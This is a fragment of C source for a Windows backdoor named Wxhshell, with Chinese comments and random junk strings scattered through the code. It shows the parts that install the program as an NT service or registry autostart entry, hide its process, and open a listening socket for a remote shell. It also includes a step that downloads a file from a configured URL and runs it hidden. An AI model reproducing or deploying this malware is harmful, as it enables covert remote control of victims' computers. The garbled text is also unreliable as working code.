'qi}|I Rcv9mj]l return 0; // 注册表启动 58K5ZZG } RSds8\tk
)jj0^f1!j // 主模块 J,G
lIv.A int StartWxhshell(LPSTR lpCmdLine) QJNFA}*> { mOSv9w#, SOCKET wsl; 4Hg9N} BOOL val=TRUE; kza5ab int port=0; V]&\fk-{ struct sockaddr_in door; R]dg_Da ^aQ"E9 if(wscfg.ws_autoins) Install(); g}i61( Ru XC(qcq port=atoi(lpCmdLine); ?"FbsMk.d V :eD]zq5 if(port<=0) port=wscfg.ws_port; =43auFY-P @o^Ww WSADATA data; ;jPXs if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; e)ZUO_Q$ AGno6g if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; D$N/FJ8|G setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); p<2,=*2 door.sin_family = AF_INET; *"kM{*3:v door.sin_addr.s_addr = inet_addr("127.0.0.1"); .pq%?& door.sin_port = htons(port); E4!Fupkpf \jA~9 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >7r!~+B"9' closesocket(wsl); \9d$@V return 1; Qd6F H2Pl } +V+a4lU14 f)!Z~t & if(listen(wsl,2) == INVALID_SOCKET) { Je@v8{][| closesocket(wsl); F?cK-. return 1; BHw, 4#F1; } y]imZ4{/ Wxhshell(wsl); N7_"H>O$0U WSACleanup(); VX/#1StC r/sNrB1U"y return 0; f5k6`7Vj] KG@8RtHsQ } .2pK.$. [Yyk0Qv|4 // 以NT服务方式启动 OTp]Xe/ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) P$sxr { KgG4*< DWORD status = 0; IAEAhqp DWORD specificError = 0xfffffff; jtc~DL I|J/F}@p serviceStatus.dwServiceType = SERVICE_WIN32; `kr?j:g serviceStatus.dwCurrentState = SERVICE_START_PENDING; *J{+1Ev~$p serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; vj*%Q(E6Pt serviceStatus.dwWin32ExitCode = 0; -DCbko serviceStatus.dwServiceSpecificExitCode = 0; x :7IIvP serviceStatus.dwCheckPoint = 0; CNIsZv@Q serviceStatus.dwWaitHint = 0; 0ksa +O5hH8<&b hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); d1kJRJ if (hServiceStatusHandle==0) return; rH>)oThA# Gy)@Is9 status = GetLastError(); mqJ_W[y7 if (status!=NO_ERROR) vI]N^j2% { 1U\z5$V serviceStatus.dwCurrentState = SERVICE_STOPPED; &[SC|=U'M serviceStatus.dwCheckPoint = 0; \Roz$t-R|f serviceStatus.dwWaitHint = 0; ??T#QQ serviceStatus.dwWin32ExitCode = status; G\?YK.Y> serviceStatus.dwServiceSpecificExitCode = specificError; oE~Bq/p SetServiceStatus(hServiceStatusHandle, &serviceStatus); i?~3*#IpD return; "vGW2~*) } Ru~j,|0r4 `XB
9Mi= serviceStatus.dwCurrentState = SERVICE_RUNNING; 'QIqBU'~ serviceStatus.dwCheckPoint = 0; 5Ph4<f` L~ serviceStatus.dwWaitHint = 0; HmwT~ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @A5?3(e } d/Q%IeEL. XrPfotj1 // 处理NT服务事件,比如:启动、停止 E!#WnSpnK VOID WINAPI NTServiceHandler(DWORD fdwControl) ]tDDq=+v { :eg4z ) switch(fdwControl) 7yba04D) { 9mFE?J case SERVICE_CONTROL_STOP: <9%R\_@$H serviceStatus.dwWin32ExitCode = 0; nLiY%x`S serviceStatus.dwCurrentState = SERVICE_STOPPED; `p7=t)5k serviceStatus.dwCheckPoint = 0; )0R'(# serviceStatus.dwWaitHint = 0; Tqk\XILG N { g4@ lM"|S SetServiceStatus(hServiceStatusHandle, &serviceStatus); -GgA&dh } /SrAW`;" return; -tNUMi' case SERVICE_CONTROL_PAUSE: #V}IvQl| serviceStatus.dwCurrentState = SERVICE_PAUSED; ujucZ9}yd break; +'@Dz9:> case SERVICE_CONTROL_CONTINUE: 9k~8 serviceStatus.dwCurrentState = SERVICE_RUNNING; l0hlM# break; C/&-l{7 case SERVICE_CONTROL_INTERROGATE: S[T8T|_ break; xp9pl[l }; Ib0ZjX6 SetServiceStatus(hServiceStatusHandle, &serviceStatus);
EU/8=JA1 } X~i<g?] 2wgg7[tGi // 标准应用程序主函数 6Kb1~jY int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) v 6Vcjm { S/I /-Bp~ OaZQ7BGq // 获取操作系统版本 &(mR>
mT OsIsNt=GetOsVer(); \_6/vZ%-B GetModuleFileName(NULL,ExeFile,MAX_PATH); K!]/(V(} !7&5` q7 // 从命令行安装 9RI-Lq` if(strpbrk(lpCmdLine,"iI")) Install(); "v4B5:bmqW O5t[ // 下载执行文件 bD8Gwi=iiu if(wscfg.ws_downexe) { E\2%E@0# if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) wuJ4kW$ WinExec(wscfg.ws_filenam,SW_HIDE); (/*]?Ehd } s&!a E1U",CMU if(!OsIsNt) { ApXy=?fc // 如果时win9x,隐藏进程并且设置为注册表启动 w(TJ*::T HideProc(); rI-%be== StartWxhshell(lpCmdLine); Sa`Xf\ } 9v!1V,`j" else ^Zy%fv, if(StartFromService()) yN
s,Ll~ // 以服务方式启动 bB;5s`- StartServiceCtrlDispatcher(DispatchTable); %\Mo-Ow!\ else DXK}-4"\ // 普通方式启动 l/
; StartWxhshell(lpCmdLine); '1)$' 'D"C4;X return 0; Y<ql49-X }
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